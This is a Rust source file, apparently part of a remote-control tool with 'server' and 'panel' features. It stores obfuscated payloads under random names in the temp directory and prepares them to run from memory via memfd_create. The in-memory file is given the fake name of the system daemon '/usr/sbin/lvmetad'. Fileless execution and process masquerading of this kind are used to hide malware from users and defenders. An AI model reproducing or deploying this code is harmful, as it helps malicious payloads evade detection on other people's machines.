You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
174 lines
4.3 KiB
174 lines
4.3 KiB
// This module is aiming to store obfuscated payloads, get them by name, |
|
// delete or prepare to execute via memfd_create (unix) |
|
|
|
use once_cell::sync::Lazy; |
|
use parking_lot::RwLock; |
|
use std::collections::HashMap; |
|
use std::env::temp_dir; |
|
use std::ffi::{CString, OsString}; |
|
use std::fs::{self, File}; |
|
use std::path::{Path, PathBuf}; |
|
use uuid::Uuid; |
|
|
|
mod error; |
|
pub use error::Error; |
|
|
|
// INDEX format: given_name -> payload_meta |
|
static INDEX: Lazy<RwLock<HashMap<String, FileMeta>>> = Lazy::new(|| RwLock::new(HashMap::new())); |
|
|
|
struct FileMeta { |
|
path: PathBuf, |
|
obfuscated: bool, |
|
extension: Option<OsString>, |
|
} |
|
|
|
/// Remove deleted files from index |
|
pub fn sync_index() { |
|
let mut index = INDEX.write(); |
|
|
|
let files_to_delete: Vec<String> = index |
|
.iter() |
|
.filter_map(|(name, meta)| { |
|
if meta.path.exists() { |
|
None |
|
} else { |
|
Some(name.to_string()) |
|
} |
|
}) |
|
.collect(); |
|
|
|
files_to_delete.into_iter().for_each(|f| { |
|
index.remove(&f); |
|
}); |
|
} |
|
|
|
pub fn in_index(name: impl AsRef<str>) -> bool { |
|
sync_index(); |
|
|
|
INDEX.read().get(name.as_ref()).is_some() |
|
} |
|
|
|
pub fn read(name: impl AsRef<str>) -> Result<Vec<u8>, Error> { |
|
sync_index(); |
|
|
|
let name = name.as_ref(); |
|
let index = INDEX.read(); |
|
let meta = index.get(name).ok_or_else(|| Error::not_found(name))?; |
|
|
|
fs::read(&meta.path).map_err(|e| Error::new(e, name)) |
|
} |
|
|
|
/// Create new file and add to index |
|
pub fn put(name: impl AsRef<str>, data: impl AsRef<[u8]>) -> Result<(), Error> { |
|
let name = name.as_ref(); |
|
let obfuscate = !cfg!(feature = "server") && !cfg!(feature = "panel"); |
|
|
|
if in_index(&name) { |
|
return Err(Error::already_exists(&name)); |
|
} |
|
|
|
let path = { |
|
let exec_name = if obfuscate { |
|
PathBuf::from(Uuid::new_v4().simple().to_string()) |
|
} else { |
|
PathBuf::from(name) |
|
}; |
|
|
|
let mut path = temp_dir(); |
|
path.push(exec_name); |
|
path |
|
}; |
|
|
|
let extension = path.file_stem().map(ToOwned::to_owned); |
|
|
|
fs::write(&path, data).map_err(|e| Error::new(e, name))?; |
|
|
|
let mut index = INDEX.write(); |
|
index.insert( |
|
name.to_string(), |
|
FileMeta { |
|
path, |
|
obfuscated: obfuscate, |
|
extension, |
|
}, |
|
); |
|
|
|
Ok(()) |
|
} |
|
|
|
/// Add existing file to index |
|
pub fn put_existing(path: impl AsRef<Path>) -> Result<(), Error> { |
|
let path = path.as_ref(); |
|
let path_str = path.as_os_str().to_string_lossy().to_string(); |
|
|
|
if !path.exists() || path.is_dir() { |
|
return Err(Error::not_found(path)); |
|
} |
|
|
|
if in_index(&path_str) { |
|
return Err(Error::already_exists(&path)); |
|
} |
|
|
|
let mut index = INDEX.write(); |
|
index.insert( |
|
path_str, |
|
FileMeta { |
|
path: path.to_owned(), |
|
obfuscated: false, |
|
extension: path.file_stem().map(ToOwned::to_owned), |
|
}, |
|
); |
|
|
|
Ok(()) |
|
} |
|
|
|
#[cfg(unix)] |
|
pub fn prepare_executable(name: impl AsRef<str>) -> Result<(File, String), Error> { |
|
use libc::getpid; |
|
use nix::sys::memfd::*; |
|
use std::io::{Read, Write}; |
|
use std::os::fd::FromRawFd; |
|
|
|
const FAKE_EXEC_NAME: &str = "/usr/sbin/lvmetad"; |
|
const BUFFER_LEN: usize = 4096; |
|
|
|
sync_index(); |
|
|
|
let mut buffer: [u8; BUFFER_LEN] = [0; BUFFER_LEN]; |
|
let name = name.as_ref(); |
|
let index = INDEX.read(); |
|
let payload_meta = index.get(name).ok_or_else(|| Error::not_found(name))?; |
|
|
|
let fd = memfd_create( |
|
CString::new(FAKE_EXEC_NAME).unwrap().as_c_str(), |
|
MemFdCreateFlag::empty(), |
|
); |
|
|
|
match fd { |
|
Ok(fd) => { |
|
let mut payload_src = |
|
File::open(&payload_meta.path).map_err(|e| Error::new(e, &payload_meta.path))?; |
|
let mut payload_dest = unsafe { File::from_raw_fd(fd) }; |
|
|
|
loop { |
|
let bytes_read = payload_src.read(&mut buffer)?; |
|
payload_dest.write(&buffer[..bytes_read])?; |
|
|
|
if bytes_read != BUFFER_LEN { |
|
break; |
|
} |
|
} |
|
let payload_path = format!("/proc/{}/fd/{}", unsafe { getpid() }, fd); |
|
Ok((payload_dest, payload_path)) |
|
} |
|
Err(e) => Err(Error::new(e, FAKE_EXEC_NAME)), |
|
} |
|
} |
|
|
|
pub fn cleanup() { |
|
let index = INDEX.read(); |
|
|
|
index.values().for_each(|f| { |
|
fs::remove_file(&f.path).ok(); |
|
}); |
|
}
|
|
|